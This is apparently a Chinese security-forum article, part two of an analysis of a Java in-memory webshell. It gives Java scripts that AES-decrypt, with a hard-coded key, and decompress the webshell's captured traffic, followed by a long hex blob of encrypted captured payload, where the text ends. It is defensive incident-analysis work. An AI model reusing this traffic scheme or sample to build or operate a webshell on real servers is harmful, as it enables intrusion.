问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
从零开始的内存马分析——如何骑马反杀(二)
渗透测试
漏洞分析
安全工具
第二天,你终于将内存马提取出来了,现在,你越发的想知道他的运行逻辑,越发的想知道他到底进内部干了什么事儿,你必须和时间进行搏斗,分秒必争!可是,如果按照他的流量进行操作,你的电脑也会有风险!管不了了,只能模拟流量了!为了之后几天还能吃上饭,你开始了对自己电脑的攻击……
0x00 序言 ======= 第二天,你终于将内存马提取出来了,现在,你越发的想知道他的运行逻辑,越发的想知道他到底进内部干了什么事儿,你必须和时间进行搏斗,分秒必争!可是,如果按照他的流量进行操作,你的电脑也会有风险!管不了了,只能模拟流量了!为了之后几天还能吃上饭,你开始了对自己电脑的攻击…… 0x01 解密脚本 ========= 我们根据上一篇中的分析,编写了解密流量的脚本 1.1 解密发送的流量 ----------- ```php //解密发送流量 import lombok.var; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Scanner; import java.util.zip.GZIPInputStream; public class Encryptpayload { public static byte[] aes128(byte[] s, int mode) { try { Cipher c = Cipher.getInstance("AES"); c.init(mode, new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s); } catch (Exception exception) { return null; } } public static byte[] base64Decode(byte[] bytes) { byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)}); } catch (Exception exception1) { } } return value; } public static byte[] unHex(byte[] data) { int len; byte[] out; int i; int j; for (len = data.length, out = new byte[len / 2], i = 0, j = 0; j < len; ) { int f = Character.digit(data[j++], 16) << 4; f |= Character.digit(data[j++], 16); out[i] = (byte) (f & 0xFF); i++; } return out; } public static byte[] base64Encode(byte[] bytes) { byte[] encrypted = null; String str; try { Class<?> base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); str = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes}); str=str.replace("\n", "").replace("\r", ""); encrypted=str.getBytes(); } catch (Exception exception1) { } } return encrypted; } public static byte[] b64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public static byte[] uncompress(byte[] bytes) { if (bytes == null || bytes.length == 0) { return null; } ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayInputStream in = new ByteArrayInputStream(bytes); try { GZIPInputStream ungzip = new GZIPInputStream(in); byte[] buffer = new byte[256]; int n; while ((n = ungzip.read(buffer)) >= 0) { out.write(buffer, 0, n); } } catch (Exception e) { e.printStackTrace(); } return out.toByteArray(); } public static String parseByte2HexStr(byte buf[]) { StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf[i] & 0xFF); if (hex.length() == 1) { hex = '0' + hex; } sb.append(hex.toUpperCase()); } return sb.toString(); } public static void main(String[] args) throws Exception { System.out.println("请输入extraData发送流量解密"); var sc = new Scanner(System.in); String flow = sc.nextLine(); byte[] requestData; requestData = unHex(flow.getBytes()); requestData = aes128(requestData,2); System.out.println(parseByte2HexStr(uncompress(requestData))); Files.write(Paths.get("./发送流量"),uncompress(requestData)); // String xx = "LTdguc4gJAD9q4qvu9VYFH4qP2Mwl65ivrXWOyT3fL0kapDKHZ1rWfRmZ1tLq3PlWvtK35JraqM0HSMWFNvqGT2TSVIcGFCmseWm8g/3TpvWI9W31C0blOSDxWHH+dApdbE1cWlw4hAevX6PMeQcfT0HZl5I37UBq5RQ1L1ScSz4xvnD31CqX5ovix9ZG03IaM5MYdovU+XwZ3hjpvaMpZOiBTpVqxjJ0QLj4SqaDsRN+YmQucyXvEVImoKLRw0Y2mZFUZZNWtT1hjeQJpJDkgdUeGWMYnStgVJ/YXvl0YEJPV9qMkxx7bk7G6IaBGX/ZP8Cp2TaRKUna+b7PHG70Bfa6fDhOTWOlNv3x6rou59eVLt0DxT9DASU5C5PtwYQMeKZhRh4RDbdJQJF/XBPYDGvv1GTaua9ahi/QGwvAts="; // byte[] cc = base64Decode(xx.getBytes()); // System.out.println(parseByte2HexStr(cc)); System.out.println("见发送流量文件"); } } ``` ```php import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.zip.GZIPInputStream; public class Depayload { public static byte[] encrypt2(byte[] byteContent) { try { SecretKeySpec key = new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES"); Cipher cipher = Cipher.getInstance("AES");//AES/ECB/NoPadding // byte[] byteContent = content.getBytes("utf-8"); cipher.init(Cipher.DECRYPT_MODE, key);// 初始化 byte[] result = cipher.doFinal(byteContent); return result; // 加密 } catch (Exception e){ e.printStackTrace(); } return null; } public static byte[] base64Decode(byte[] bytes) { byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)}); } catch (Exception exception1) { } } return value; } public static byte[] unHex(byte[] data) { int len; byte[] out; int i; int j; for (len = data.length, out = new byte[len / 2], i = 0, j = 0; j < len; ) { int f = Character.digit(data[j++], 16) << 4; f |= Character.digit(data[j++], 16); out[i] = (byte) (f & 0xFF); i++; } return out; } private static String parseByte2HexStr(byte[] buf){ StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf[i] & 0xFF); if(hex.length() ==1){ hex = '0' + hex; } sb.append(hex.toUpperCase()); } return sb.toString(); } private static void outByFileDataOutputStream(String filePath,byte[] bbb) { File target = new File(filePath); if (target.exists() && target.isFile()){ boolean flag = target.delete(); } try { if (target.createNewFile()){ for (int i = 0; i < 4096; i++) { DataOutputStream out = new DataOutputStream(new FileOutputStream(filePath, true)); byte[] bytes = bbb; out.write(bytes); // out.writeInt(i); out.close(); } } } catch (IOException e) { e.printStackTrace(); } } public static byte[] uncompress(byte[] bytes) { if (bytes == null || bytes.length == 0) { return null; } ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayInputStream in = new ByteArrayInputStream(bytes); try { GZIPInputStream ungzip = new GZIPInputStream(in); byte[] buffer = new byte[256]; int n; while ((n = ungzip.read(buffer)) >= 0) { out.write(buffer, 0, n); } } catch (Exception e) { e.printStackTrace(); } return out.toByteArray(); } public static void main(String[] args) throws IOException { String payload = "4185330a9e6684959ca14153ebb2bf603cb68867e08548f8a49d5740865db8ad7ee4c687803a94df9fbdc5e289c05860585ad7644d60f28b9f05ab580ba41389202a44761bb2f7df6ec8a9bce967a3ebca00ed48d5144b81c945a37c5eaa8faa83e6d382701b0fe53b03a15c426a3940ef08489117833793d6e843f9fa5969557f92cf2759672b3507e301fddba98d451858000bd0576a949d5bd618a4a506cf2c1d77c03160aeda6e15dea50598eb2ef6d85d1d62cb8695ee312930896e4718b3eaa2a93a9b40f445c1eeeeec7eca5213cba64fa87018b82c33f9121722d983637c0eb0ac7ed86cf908c92e672ecc6bbbc579fc3df2945257498bb318eb101ea2721d56c40b74296e2d40f27765c32e7143e01dc13d417bb31ad03448f60289af7c681114fea5b6081bcfdaa635e8d0ee1eaa84a39f14a061358f6ad0cc64f64b983f87c551ad7a74abd07de4cfe466ea645f6d293be7c0d0e7f8dec3a4dc2d04d860d0e1b9b6a74e3c8b3fa012345ba1c475e32dd8ec43f361b370366597cd0c573166e0b305eaed560a70bb20618e7b15286822c36bc5327ebc89bce03165b3ac5a7b7aa56422c240874fda6be6cb21e0d2feeeb6c9a341b46697bef5a8f0f5f314876eb6228de66526117558ec45e02df595efec10a56e12c06722bbecd29dfe761f79073c6a209fb89a3a4674b79e53db1d345e065fb58318973d6eefb8518b1d197577675e067dfb6e7ab44a72600cf761299d473752d14c1afd70ce0551f05860a3774a09dd3324815d364b9366e1e1e55b547be0c9f4f9b15c6c3883ee187431ffbb3a9b0d8c9b9977a1e3aece48cc8a21b43c032542f393ee7667f778b04dff823e70813589e06bdf9b4ff88309b59a8e738d88fdb23bf0f542e9e8b32bbd6b07971212b043d3740927a5204232f93046d66207a86e6ad964ff8e947c857e22ad0979dce02b0bde140fa2f49604fca48d3576b88e6691360089ad4c4fbf0ce969757447e1d616066bc75135fa59e27bde6629bb43fd4cecf3970d4989d4f0bda252ecede59b1f2ca4791d136fd7dbc7c2bdba8215d4bb4ffcc4533b1d7ebfb4d22e15baf8ba277c54080711c314adb921067aa7162d34ce9b7a37d5b94ee4ae9325aa2beeebd990da033ebeafc9b9b2195e350f90baeead72a8132f3970804a3e70fe1e24c15cf097f71351a736c6bd76155535f8529b297e84b04c3fe4b0ea4625f6875d00872ddec9a69f87aa53d3256a69d05d47cb37302d49dabe722a9e26d49d55814659c8fc2f5509c004b4b6e1789228076eac8fdd53dc8574bab22a4f60fe16d37c227475425e9a9fd02486fab5a36bbc3db447b38fe9f94d4ef7b3cc155f068e0c0d35e0ad763b921827674dbfde980c0766c3799a82202620b06bd8fe66d88a0833d061607d50bb0de9f0d10d3eb2e937f6bf9331a41fb2258a50cdae25c113593a6b91afb3cb42b37d3e8e02538350743690895661ec3be580931d70d250ebe3c2e0243730693b0b16b63beec3990970994b8e374e55d2f29db1fbf2d5ffc6a83e6b995ca33ad8cac2a879be0e7566c02f1d22a2a8a357a3580271f15e8f7182d158972019ad51533c777054d90c8e8a29dd026f77c01d5960c6bbe15aafd517abf1b7501a09da95f8796f2fd0247c3fbc4a8abb539e2acc5154ad741412cbcba03a33ced5d345669e10b90674bbd5497dccc829a9567df055e00408ca96cd8aacca4064917b1913279f67d25f61b357ba55b8ebfa2583bd500735f9bcab6d35868e2a9f2255818c9ec550a9ac50c3e397ccc2d9211954a2166d09de389bed191af913d40e2e7249cdcc24337060c80e643164484c3430bc8b1383c34bdc610833d8e2c048ea7c99605b8ec4581f286260b3221b2016547c07b54487315f4a026420f81e3e95b399c876f6d4f2a493f8e078421a52f3edd9dfe15afd278dee26cea6ead4ba96a89dc6ab9ffd8d374ecc4c7f517b2612d0ceef638344e3a4ae4906cc8e46d30e6f4edc6711d3cfb6841cca223164b739e12dd226454f6ed9574ada1d33631a5e7064300fe8a620155e79b7f6e11abd658bc30ed52361a5730c12a639b3ca29062efbaceb350953c927ffb57421fdb66b8bc30ed52361a5730c12a639b3ca2906307d1d39f630b0ce760e0ae2c5b60da262df4707e252171d3a7b328290a67c83b9f110070aee503b88ad2c465db94c7069795550cfb2aa200753f69702aa4a7055b024214ad5df4d5e60b457ccfac45ca5f529731ca37f3eb203191a65e0ebbe19a99d109496aa0f3521a75a3f69b8b91de7e2d46139a1154a0781ca89883ffd274f523c65cc463d6f1fc1b8269cba6fed697693513238ffbedff78af8bdd02848cb5aaf9c1cd67ba1acae9eafee634fd3a1fca43be86ad049b82283dcb46b5ecec0167a26980834ed0a6e7fc1a7137690911c14555c0e0318a5c9084b4b380a849fd4a5cca28c8cbef495417a6677893be580931d70d250ebe3c2e024373069be4de701e0c8b245a1ee8bae582809cc5b59e06be1031f1378f8a902a5e6b7ef1e4b9344b9271138d32af35918b869450d77ea7a3b4480332ccf428dd8ef5b7efd3c8ffef09fec06800ed6ca8749e47e8ddf007d5a115e238f436fa881e36868dde7b2691f8e7d927debe3f01b047670ec28ec8576bb55c889dcfb6c8e4e250785b8fa96108189540725d34d8905d1cd72bf098421422a43e1ef6969368c03f172aa1b03c9c7b8ae2d462e4e1e10b48e5ac305d5a70380b335d093426e9b51769e182790451ccdbf8a24d3474cbe577a0c4b672fb50f24562120e8233249bb749404532f168f31def0aebb8152d8330187fcfa686f1ca8562557047efe43dc542c1d77c03160aeda6e15dea50598eb2e42a74ebf8e543589ec0a6dfb47d436b6c00a31a4e23525fba26b6a9a8828c91adfc76a5446a367d265b723ab35432bd9ed1cdc5803373b871a82c92c3574d3468b3d6f4581a732e542e63042ffb009bb1cf33a6bec737fc5ecd91c59ca74e189990e94a515dd92829c66c0282b1296031bfa7cf9f0b4ce10f318dac38803ad4e5e37836c41314605dad0f100f48c540b001086a0e7daae03350e89a1d46d69c76b5a98fec61240a525ff6c483f7cc96cbd7e898ebab71c4a2e1c7a1aa6c89a7efdf55557dca7e663961f9e2502a8cdfe7922818d66b542f5f2e7a1d83331b40edb7f1de75061fe24b2067bd7a965bcd1f7c3e1d1a47f3e43ef6715cfa2bae6f0384ba1142cd6c9786e4a5061459a52d2b64edefbff37f5ce216448277dab4cf89569d5f351ded71e063c67898e40a2366b06c1d3dfd658485f71defddbd3d5b85e51aef04921ff80f030980669b13ccbd40316ec35e158d983cc37dd567fbd3a28a0c63ea7828cb0323d730aee68a0ec4005317a9b2146bfe0b682dd244e6267ddff1d227ce71fe677819a2107246e5500edb8ef653e20a9041065ed1b5dbce58ba85c9fdad45957ad326589849d982e389a086f2b5f22c5a2a1a23e4312c121c96a4005a70545bdac9a4bbd9f5827c12c06511a7819133b2d2477b6db12f7f4dd9729fa95ece70417e79461d38645cd3c2ace3dae14b6738fe1844dd430969543404c8355c6b88c27e2cd2735ccaff37cd12c34ea6994fc7f826519fdaf2b2a5a9cacf0aadd72026b350aef04b165f2778f295fdbc622f3265211cac3c9fc14fb5e49b8d7025114df279ad03ea3ce79b1e03927f8ff46ca5c96edc9412b11d161c7737a1cf9c4658bb04db4cb313248f5354e0d8b231b824cca78886e4162a5ae9720eb9a3e25d490c90ff1a25c51d89b920088a1fabca4fe0fa72380396456feab046d069bf5858782c1ab7f9df68560e48f7642e9d4865397f6b1ee0775ffea9fc0e41b6684fb71ef665fab1170abb184b5faf4b0ef3a3c48561fbd857c423b8cf063dd8f0fbf9928a9234e4cbd355d98c86a71be5ea834b07938559251453969e22d47896e5fffb3881b64fd0edc1f6d0780dbda020ee23cb93d8f4915ccd537bac95bf9fa58ce70d2b566f2fc38a5297c067ea709bb21688cc6070b86f2fd9c8d0e69df7307b66f66f1d964004b56ab906b225b78249feaa4ca7d0e2281adc14b94ae071724d67bc151a049376e13169ca254a53bebc4f6fa7a070c8d33b01f78ef2cc792713ecc8b31db3cf9657e6f824ea3e62781be3439e8f2f467264e786977956bc8eb8aa0410ec4c2e92866cfa7daf4489c03941f76b97f58957a91432e56ce0c8312feca034775cc360c712a44b66a1ff6d9427f6b462bf5877ec82d19828a28d4304a1f75542afa4cd01d3335fd7f54a2497c000892f2edd61cf8cf6b831335dda677d40d5416c717f953cd03fdf8b3b97d4330787bae19161353ae6d56fb748d8c8fb75864701f37f14704f6ae504a4341feec90f98414c5183be580931d70d250ebe3c2e02437306941f38a635d4fccd63c1a986f783324aee1be23d3dba595837634c9756370204374eb14d3dc5abfa8f20085ce695e6b4afe20f595ddc7d7ef1752a2b51f217acc1f6ef9c2bf1a2b39830b793782ebe7d49d4640e8e5cd7ce4e177e419409532bb3fe4b0ea4625f6875d00872ddec9a69fdb226771f7f6a17628968f462f16d213dbae293f17d4ba43aa47a2abb2b82bdc5406f58b0b1871ca99b057d27961ded01927f24b73228d20a7b8434713ac7654118792b5f2a3e2b015448d85a3ebba4219dfb91ba8b3f2f25c1b3950b0b596bac6f80e0bd7204fee345653d5a6be81df69795550cfb2aa200753f69702aa4a70cfb9f4b624bf952d20e93f640fee64413b7b94a9ab89e6dccf32c9cb0f93c2b4d1870fc145ad68371287781b56fad23bebdb885c3fe78c475aeb69af6f658ae914957e11dcf00aad39a6f5b645836624598efe0398b9a4e494a575e86eee0c3e31e3601c5bd6291a955bb917310b15916670ad67a330324162da31e138c926ae7fe3bf5fedf7e71233f75db5b70f1f7941ce93dafd21ae94a7501af83873c50229411e9bfd3531958833257b8cbdfc2f9f36c21aecc13a9d95e1ad07b45e5234dfa72850035463ee36528f1c9290784ee26833fee11a527c5b70d61ff7c220083282e7a1c3d97b0fe6566e176503030d1059445631c5a77b5766896fb0fa84bfac8a051c49653f6fe38ce681cdb81e53931e6373143958bc83647a44c1d1e67d6534f8e8e371f57f5bc11131c9fcd6f096523a2ad3444f890a779c8a2bd0e894ecc9e12a4e22719ab2f7ccb6f3b3e30328f689b32582bd3c64520f823788f2ecef65af804be8fd622d29961f681f2c91c2deefcf789346b812711949f1c092f19b569c4a04a6f6c8ad1e4b4bc47c2b2237bc93eb221a552e171573143eb36e27de9fa33e7ec94ade8762d2fbce59096170475bd0339161d305e0fcef615caeec8ff69de8e4868733721e28ca55847007b12fab0020aa4b148d5937bebdf17d4c10ec055ad1f2b031039028329be4ce5add7d6cd77887d4e9af1201c12e9a27cc64db857f49345f28fd6bc680fea95845a100c02645af06541eece0f4c342cee4f2a90eb8bca9dd31e14f8e7cf4dca60d978c63c921a7911cad1a6daff744bccb612283acb705defb2a5c3cca6744f93130ea32334a71b23578c45d844dd7ae90c4ac252b9487e354384352ca12f09056bfdfdf39b7b4e3a98e8c900a8b6d85be2cf329abaa5450f0b235d624e0aae1a8f19af5bebb5ae7d7f9ccb895fcbf5889a97f7341e4e47bb941a034d00b28f6b3e4425f93151db1aba7a2abb8c7a01307bb4a88f3c27f5d09aeba01d3b3e0acb746b0de6eae287b7b3f7f41f507721dc5737bce02d2df6fa4686ee77765a2a63d3d7c19eb4fbc50bad9bfd0f244f19176e345df36967bd14effd4104981b846c23c6d85415c865025adb1db1778147363b1d6ffe7b016fa61204718f06bbde2cfdb499c292105d81bcc25b2d08f245801ff59df25dfb42a9d0c2e25a93443e14f8bc30ed52361a5730c12a639b3ca290615727c4e892b1e797a9d9fb6a6501b0b9fb1cf91979975951cf84798d43c73e754678d40e2b14904ffdbecee122fec5274e0d61d0a5c1f496b29c485614338568bc30ed52361a5730c12a639b3ca2906c70ac2fc78673125867b9ac63fa04eb6448f8d478945482bafc7a77ff6dc5877be60f90a79d93020c58bacbb8e1108902b33dd52592b6c7c3dcba6bec8c1ba2f01efbb75c9809394f059b2c43bb31f766ca710583ed06a53b8c9cda46bfc905e13dfe46398e79d0643a1c91812fb04e1cccfdc465e81d168f99ef3f345c09ca4dde4c3b37174a9e004b1fb1393fdb77aa5c528e41b30bf7d533f93d747dfdf2c6d8630560c54c9ddc850cd15938551af8a75a46a6fcd065d64021af713dab0c25dbaf55b6ed849d3a82888a2cfb0390e6ddefc31f575a3b7f0b9c099cb39a2fe3070b4b578fc93069293243fecdf52bd9b20dd75e50dbd2723e828863dee27d648cb5aaf9c1cd67ba1acae9eafee634f5237394fb2be0fb6d9362116e2e9d2778d02a57a45672bb29f69bc05a7d6c24c824deaf39c5c89e4c11b419fc07dd6148d1d1b319aeb7a37a3d8b5a845001c23417be44443ef7c4429976cfceb93b9fed1a460c33d3e5a830f231efbf719e70c62b95a98c1fc96812df269f5703e8b9f1c227ad1535cfe5f410c9124e6b51dbac27e5565d24805b5cea1a42f2dcf445a97847521d47dd237a98d005d32d303326e4df3572e7f7b1c66c4c94d890a565fd23cffde99a8f1e404043c221e4d1a16668bc985c7970931d0596dc745be04bf5b60123c77e7ee75c3f276f1f747439634b041da8b774f6a434057fd1f7160e11f030c365c80984b54d33592776fb9fbbcb7532783535a9e987a587aed2b0b9198367f96019b2f30a88419c8854ea01131f1f0b6a142858b2622d1dd42a0c94e1bdc43312c913419b1bf33763b1f22c65895f72403a6934b9e5f76b80e6dd1c477df564661467b261c995b444b91638c2e2eb1d86839881ceb4181307644843e7d6603b43d4d99a508d8006bcc7a8fe991c86461d3eb83856bdfd1f62af13ad0d7c8bdd825cbc18b2da1815c462f22b4b02e2c8d155b597e931dc8bb73ada730541df773bd09daa94f027c95fdd7c20bf81701e8dcf6f56e19df385a4e1a11ca09fbed893edc5565f511698b7699e1ce7ae0808d688f72fab395588f9a6cdaf343ffaf28e567e4e4b522cdc049dc967e462919969fb3ab1545a37cdd65db7f5e55ee9e725ba8eafb397ef7f0cfccbfd9ecd77121f923fa0e96aa7cca3e7c468af96ae4e885a4d55684c22ee09bf55928c6f8a4586524ec5e86abcf9dc9ccc070b3cf2e1bd7a96451c9db07b508e38a997903500da4131d649664503399f92995071e715265636b188306c404457de80680de7daeeb3a60b2fe72a967df57771faf582bd4da954e9330b80b6884825c944fc92e66c48fbb3aa8084ef1b9f884defc1de48c74ddc0c1dec8de843eff59ca382fdd3cd15c1af94625ae37e30ca33c706ad1a5faec9d001987ee2175053150795fd23fc0b6bd69b239c3156bbb5774652778400d8207172d2abf0c3f5009064bd210b8a91c67675b44f0001b9e88f555847acc0a75fc691c11c0f2bded2807e32e08924272d2d1fcda2f44982ba1caad11ee85910bae2b5de4106bf8334980d929029065eb5f92a4b2525eefca629f115b83f66ca002aeafd3c6fc31ce2529df84868bfd02a0fd678dc6597c4254e53ec0fcd172c6ac20f4200044f8c4ad25db769134eb29241e7b5c0a0ebcbce130d2a72b86bc3d9955ea3df8d5889a3805e2024441f522a85e8f0388792700639a99af7f1ba17f2c81814eb64791283d3f3a7dc5ab12324eafcea1a82f87ca01a4e11c6616fca123dbc28ae95f08c4dd56df88b71910f64b77bd39a4b046f639dde594435e64489792a20f087e2523efa6fe64b5fcb9a15f124495dfa3c2b584670a2cdd36d9eb2ee711218448fe127ea69c586ea5d9d268b79ac0d108606c1f01e1a0602c1fcdb7c4539c4628ba02bf9dd5b9776c082e9db188a25bff17913085776202a0209ac4cfdfcac76dcfa8786ced2ff416d0a932eee934ba8b2dcc7f3de59f65c3123c91bd4ed41084e061d94ac064e86d5b3df2707c2e1c35bbc792943565caedd1a4a94702336206e3e041efc3a25f52fdaee61b50bfea5ca8a5639342c7e65db15392d7064c41cb9e621d03ab3d5d513d3a8f90e0746df28f3410e156116051501f74e32f830ab8e2503e17458b016e2a82e643f051abe8b380df7610e8a956de266027459b322fd0c0ba3e59b0c8af223c7573ec28e22e883797ce5c5913c8d54364b0f70da064a50b0189f7ec837de26d88a580cbec220f87454f3eaac069b43dc4a7fc534ea1d1f405cc3a4329993eecad71d4ae2b160a5dd571164785431865080ce76c9c4e7154cd2074271179c52b4b7aefed0de6a81703074106ad6df59f9602d06eae1eef6de7431a735ca090b2f48804def9f13696b40c4d09e064b3e264b44cb8e5279f5876d21ace7f1a25ed95fe5ee4c1641c2401b6a855747db8c6ccfdaf714bdb3772c0e65269ccdbcd4fc2c05ebfdafee4b4bd80e78e167257fb86b2d3bc3b58e2b0c18f55f29f33450e50f5c7ef26354acfce367c64ddb6508b238f2650777557770884861e916d1361258ea108d0e3b7fa32ee0ac852a4613e8cabe2d57fd698371b80dfdfad3e76ef7ca7a8287a80cbeea4fb824740fa69d056286efb408e5816223f89a83badf212db3a6d082413b4300d63b0f04e27c309891fbca64771edfdfaf852f37339872c29092a56ad72c7e7805f52365afc814e2ec39f90ec5ac96b3aa00cd9dfebb4469d21d0848eb4ab0db233aa6eb2ed8b937d3ac8d07fe50de5f57646307b9ab9d45d238ad9e9c717bea2c872919515c30319136989f656cc37b5e6570c5af775a98e81a831bef951df48f1b8b0c2f1002c063b16f9cf4a39f2220b36de1ba461b5f051be46338cd08df2d1965ed83b1f9f2741d9ba98989e3f2723411e99c26b06e5e72b4dfccf0630c93df11df34f930e8badc805c1f8c6bcfb7900380eb9a8e3ed0f6dfea357fc4b18dec510f4348a6416958a2bd9f79f952c9dc0fa8e402e58d52d4f1fb5c8344799c46fb7489a50978a5a03cfdcb7294252ee46289c6b21db8de08af84bfb1ef8fa91106c3a126722dc73d3182a3f2e983e6b70abfa19d26ece28e500eb819ab5b3be162ce9055e7344330e9505eb8208a31b625101ec852556181eca97d0e323b95c8961db8b857ee5d12d0c56fc76d8b8b4fc13d406394368ec6f128a10fcf11edb6cfa8e56722140aab743746c4ceec0b1d2a72b86bc3d9955ea3df8d5889a38054485c9f7f975f576eec0052b03309d7eb706cbf35c2ab2492e84e15dd8db3dce8a2c9af54601ff948757bdd5a5a47208ec140413a1a9fa567493f5007bb4405d724da09f6bc47b50179233afd69923990f0854226727832a4c1f0c4ae2d2909f76f050a1c007b77cfc1016e09f7d068d569cdb89427dcf1c871cefdd4e3858b849552227495ca1e53da8871940708296841770ae3e9ae8376ad691670f2fece210c8adbacfd52b143ac4bc7c7aa85829cea1de9527151864e2f33c55bc90b7227484d372c6468c945a66864ec543bbfe63b1c85e91f1d8fdaedeb27631b9832dbd04d34e7bf3801907a56c65263414e8ebd6df878baf1d93199d4920545f78cb74b955a10b0a45cc0d2eeafa86a612d908d3985d159f6615be5403294b604ee2b1586cae493cdc4068c18a4e1cc6699ad1e2542ae6c6df64fb3b04d79b9c14dcacffc02d9de701804eb98b0a7a60d52b8920b18e1f3753b2df6785f9a1db25c2c5af58af8dd83a7afdac8a04e164349e7ac3dbfe274afd422bc0787b58457fe16168977274099bd3232e9912137ee10cbcaf118c006fcf75a905f1843e0fbff8a7930d0be5d14b705ef3b18df8a539711b1399528a20e21d785140fa7a44ae9e905b69bb5498321e5402785183e3787f34d0c2418fe2e04286cd10f779185c97b759dabef194415661239332295156c50b03e54d5e25153d50d5fbb03306125a0922a2b022f32e56ff30df24bd49c41331c1b4166f66d018014cba96708fca8f3f17120f0e9d167ab72174866ce21f169f2bd3f332dbcf29350aa69a02363d216d28431be47a7e77090984f210276a3c3e701310de2c331b905a3f25c41fc2482a9850f6e623d72b89e82d6324612981ec395c9722bf8d362bf5e303b67f1c395ccb97fb4562cf0a37a2af2410bcdacbccda705d6f3995fec0019a6c81460388f15dbce708152578ec04b174fec8d09fd46c9cc1b2ee03e455fc6cb3d92752ec17ca9e377b6e07de92f2827327491fba98fa3b4ed94966548a041370ddf53148c8a63da84f49920040aefb84c64cfa29e78e293ad5c56d743295096db2fbd45f225799d0824a92d232b5aaa6bf31dcd8015d3993f5c37b08b5c6e14a396e4f901025afe82c9a153b1a0057cf621880cb332ce0da55cd28c10551b7272a05003d1a36f7ec735b563058c0f3e7b6229c680f2db6b0f26e918c741e06765719b8f2fa9b1a693a20e543bf80cc1042f2d4c19a824a226d522b109015b54467da7fb902846bcaf33d1689cda84dec8176202e34de138edfd2410ce4f5c5564c39d1c5ec8f988dcaaaab0a1f78addf1e93448e069df789d0aef95c3b9e3b2f560a0fef1f6ddf8ca15ecd5e2f8535dc912b4df3854d27916dac082640afb4eaf15dd8a47800ed140ca217e7c2358128d8db5ab26ed65adfe4ad9f2ad6f690927c46cad4736ecfe1f764c2de55693783b045fcedc917e44f267fd39a63bc49a952f851d3f3be5addf5ed6cf7b8a5e181acc305c83eff3cd85212869c4fa1aab839a844a375d04c547c5ea814c69cf00429ed316d4ff79e734d104dda24ae6bd478e16f14d3722a1aab3dd293842c121f3dffdd3666112a0d922a36954d9d5fb36c986440b92b68404fe4dab7e3e6cc911caeb09bc333d68bd7f4a4f4f4e929b20edb2697cbd87c2d36192f8962047da8308cfa34dd3b248e4825a466db9db6fb5977b638e81b903b2661154eab10d81e7d9aab1049b6b9e052ef1e1cb61701014aea57a8c911d28be5f48dfb190f179525f4af55c0083bca7b96e30a8e49dd1a6388c3f58230f7a59d9bf8db21edccf191197a0f8e3c5b44904ab39359ba65524ea1af74256a8d11f430208653a3d2b8cc742b0f3badf11e663f82c2c3a333b092dc185426b5d4529805f28e1e0fc2d2a8b1ac1b6921ee6d8d1cc10d7a1a633718839623375706a1e514da5eea71002121ce7eec922379b994cb6c474f44638e8f91227aba6bbb67213a646445a3cdf9871bd989c2763dea968f3cb62c81d3d97436c88f76e78648861a53428d82640845ac5563eec095e86c58aabfe453502a8aea4670e4c2b3c83941a6fc6fa04388fab01b1954f8d9fe0be4f9d72163e21421fdb86171478e878f50a55d1125c3fd875309f8dba45d8163b4cbbaafb54d3aba3cf9a501a886542570d12988f8fb045241cfabb1cc0afed0a8ad50aaf2f8e5132a7c3aacf3c3eea7e1a00ba558813b3750d428d2b1911347fc3fe93c4dd574a7ee600d46bbcd7e705e24488542252c74acb93fe13a24f915eaaa1bb3d187157cf82c783b2f0cb8a961a69ba652e41e5d90607397f0006184a961c967212962971f71b1dbb940a3f6c8857b78336ed002119db51d4f6d46ec6d5abe36d81433397047e8e4c3017c92f1b598842fae6771df75737d8e7b8caf28db6371e04586aa2c2d708bb6876a90fae18a4e0ef06b3dd88bd18d419f66523f09ebed2438c438e1aa24af1b7b1490e1b653471af2e47dd782302f9ea8261184915556f1bfe73f4dc858d3f1a359d93e3ed139dc237256a6de6808b7ee3b00175aa4b446368710c9